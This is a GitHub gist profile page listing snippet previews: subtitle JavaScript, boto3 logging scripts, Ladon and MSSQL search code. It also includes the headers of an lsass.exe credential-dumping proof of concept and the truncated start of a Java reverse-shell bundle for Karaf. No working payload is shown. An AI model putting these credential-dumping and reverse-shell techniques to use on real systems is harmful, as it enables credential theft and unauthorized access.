Skip to content

Instantly share code, notes, and snippets.

View GeneralTesler's full-sized avatar

2XXE GeneralTesler

View GitHub Profile
@GeneralTesler
GeneralTesler / funi.md
Created August 17, 2020 00:09
Enable subtitles on Funimation web player

Enable subtitles on Funimation web player using VideoJS addRemoteTextTrack

// get the player iframe 
var frame = document.getElementsByTagName("iframe")[0].contentWindow
// get the videojs object inside the iframe 
// fp is the instance of the FunimationPlayer inside the iframe and stores the text track info
//     vtt is usually the first item in the text track list
frame.videojs.getPlayer("brightcove-player").addRemoteTextTrack(frame.fp.currentVideo.source.textTracks[0])
@GeneralTesler
GeneralTesler / refl.cpp
Last active November 3, 2024 05:39
PoC using RtlCreateProcessReflection + MiniDumpWriteDump to dump lsass.exe process memory
#include <Windows.h>
#include <iostream>
#include <DbgHelp.h>
#include <processsnapshot.h>
#include <TlHelp32.h>
#include <processthreadsapi.h>
//process reflection stuff copied from: https://github.com/hasherezade/pe-sieve/blob/master/utils/process_reflection.cpp
//minidump/process searching copied from: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
//compile using: cl.exe refl.cpp /DUNICODE
@GeneralTesler
GeneralTesler / boto3_log.py
Created May 25, 2020 21:59
Log AWS API calls using boto3 event system
# see: https://boto3.amazonaws.com/v1/documentation/api/latest/guide/events.html#provide-client-params
import boto3
from botocore.client import Config
from botocore import UNSIGNED
import json
def intercept_params(params, **kwargs):
print(
json.dumps(
@GeneralTesler
GeneralTesler / boto3_patch.py
Last active May 25, 2020 21:25
Patch botocore to log API calls + parameters
import boto3
import botocore
from botocore.client import BaseClient, Config, ClientMeta
import json
def log_api(self, operation_name, api_params):
meta: ClientMeta = self.meta
print(
json.dumps(
@GeneralTesler
GeneralTesler / ladon.go
Created February 17, 2020 01:44
basic code for using Ladon; taken + merged from readme: https://github.com/ory/ladon
package main
import (
"log"
"github.com/ory/ladon"
manager "github.com/ory/ladon/manager/memory"
)
func main() {
@GeneralTesler
GeneralTesler / mssql.ps1
Last active December 15, 2019 03:44
Search MSSQL databases for columns containing keywords using SqlServer PowerShell PSDrive
Import-Module SqlServer
function Get-SQLTablesByKeyword {
<#
Usage:
Get-SQLTablesByKeyword -Computer <hostname>
Example:
Get-SQLTablesByKeyword -Computer sql01.domain.local
Example Output:
Table Database Column
@GeneralTesler
GeneralTesler / all.py
Created December 6, 2019 03:46
boto3 list available operations per service
import boto3
import json
if __name__ == "__main__":
apis = []
session = boto3.session.Session(region_name="us-east-1")
[
apis.append({service: list(session.client(service)._PY_TO_OP_NAME.values())})
for service in session.get_available_services()
@GeneralTesler
GeneralTesler / ec2.py
Created December 6, 2019 03:18
boto3 list EC2 instance APIs using resource handler
import boto3
if __name__ == "__main__":
session = boto3.session.Session(region_name="us-east-1")
resource = session.resource("ec2")
operations = resource.instances._handler.service_context.service_model.operation_names
[print(op) for op in operations]
@GeneralTesler
GeneralTesler / iam.py
Created December 6, 2019 03:17
boto3 list users via resource handler
import boto3
if __name__ == "__main__":
session = boto3.session.Session()
resource = session.resource("iam")
[print(r.arn) for r in getattr(resource, "users").all()]
@GeneralTesler
GeneralTesler / ExecActivator.java
Last active December 6, 2019 03:46
simple reverse shell via OSGi bundle for Karaf
package com.demo.exec;
import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import java.lang.*;
public class ExecActivator implements BundleActivator {
@Override
public void start(BundleContext bundleContext) throws Exception {